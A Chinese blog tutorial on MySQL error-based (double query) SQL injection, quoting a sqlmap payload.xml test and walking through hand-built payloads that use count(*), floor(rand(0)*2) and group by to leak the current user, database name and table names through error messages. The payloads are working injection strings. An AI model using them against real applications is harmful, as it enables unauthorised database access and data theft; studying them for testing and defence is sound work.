当前位置: 首页 > 代码审计, 网络安全 > 正文

error-based injection注入型学习

error-based也有叫做DOUBLE QUERY INJECTION,即双查询注入,我这里主要是根据sqlmap中的命名来的,无聊写下这个,希望能够给一些没怎么搞手工注入的基友一些帮助。

0x01:sqlmap之error-based injection

布尔类型的盲注很简单想必大家都懂,不懂的请自行google.

那什么是基于错误类型的注入呢?如何确定是否存在注入,如何使用该注入类型从数据库中读取自己想要的数据呢?

我们先看一下sqlmap是如何做的?
Sqlmap中注入的payload位于xml/payload.xml文件中 详细的列出了各种注入的判断方式和攻击方法,应该算是sqlmap的精髓部分吧?大家向我一样闲的话,可以瞅瞅此处,应该对你手工注入有帮助的。

这里只选取其中一个error-based来看一下。(其余的请自行研究或google)

<!-- Error-based tests - WHERE or HAVING clause -->
<test>
<title>MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>1</level>
<risk>0</risk>
<clause>1</clause>
<where>1</where>
<vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</vector>
<request>
<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.0</dbms_version>
</details>
</test>

Sqlmap对于是否存在错误注入的判断方法即为:

AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN([RANDNUM]=[RANDNUM])THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

而从数据库中查询信息的方法则为:

AND(SELECT[RANDNUM]FROM(SELECTCOUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

是不是很熟悉?没错我们经常见到的一些SQL注入的exp跟这个非常类似,以前我真心看不懂啊,现在我起码知道别人再写什么了?上面主要介绍了sqlmap工具中关于Error-based  SQLInjection的情况。

0x02:打造自己的注入语句

下面我们分析一下这个注入.
其实这个注入式很简单的,它的精髓就是

SELECT count(*) FROM information_schema.TABLES group by floor(rand(0)*2);

将聚合函数和group by语句联合起来迫使sql查询语句返回错误,确实是一个很天才的想法。

如果想更加深入的研究上述语句的原理课参考(其实我也不是特别懂了,嘿嘿)
http://www.mysqlops.com/2012/05/15/mysql-sql-analyze.html

基本的原理就是group by后可以跟表达式和函数,通过上面的方法可以迫使sql语句返回错误同时使得我们构造的表达式可以被执行。

如果知道了上面的式子,你就可以很容易的手工构造自己的查询语句。

SELECT count(*) FROM information_schema.TABLES group by concat((SELECT user() ),floor(rand(0)*2));

通过上述语句就可以查询到用户,当然这里根据你的需求查询任何数据,同理也可以得到数据库。

通过下面语句就可以一次通过information_schema数据库进行暴库。

SELECT count(*) FROM information_schema.TABLES group by concat((SELECT table_name from information_schema.TABLES where table_schema=database() limit 1,1),floor(rand(0)*2));

是不是发现跟大牛们使用的还有一些差别呢?是不是还显得group by部分太多了呢?
没事 用上别名就可以了。
SELECT count(*),floor(rand(0)*2)x group by x;
然后再给整个语句一个返回结果
语句就变成了
select 1 from (select count(*),concat((select database()),floor(rand(0)*2
))x from information_schema.TABLES group by x)a;


本文固定链接: http://www.chnpanda.com/1039.html | 熊猫博客 | 转载请注明出处,谢谢合作!

本文关键字:

error-based injection注入型学习:等您坐沙发呢!

发表评论

亲,不支持纯字母、符号评论哦~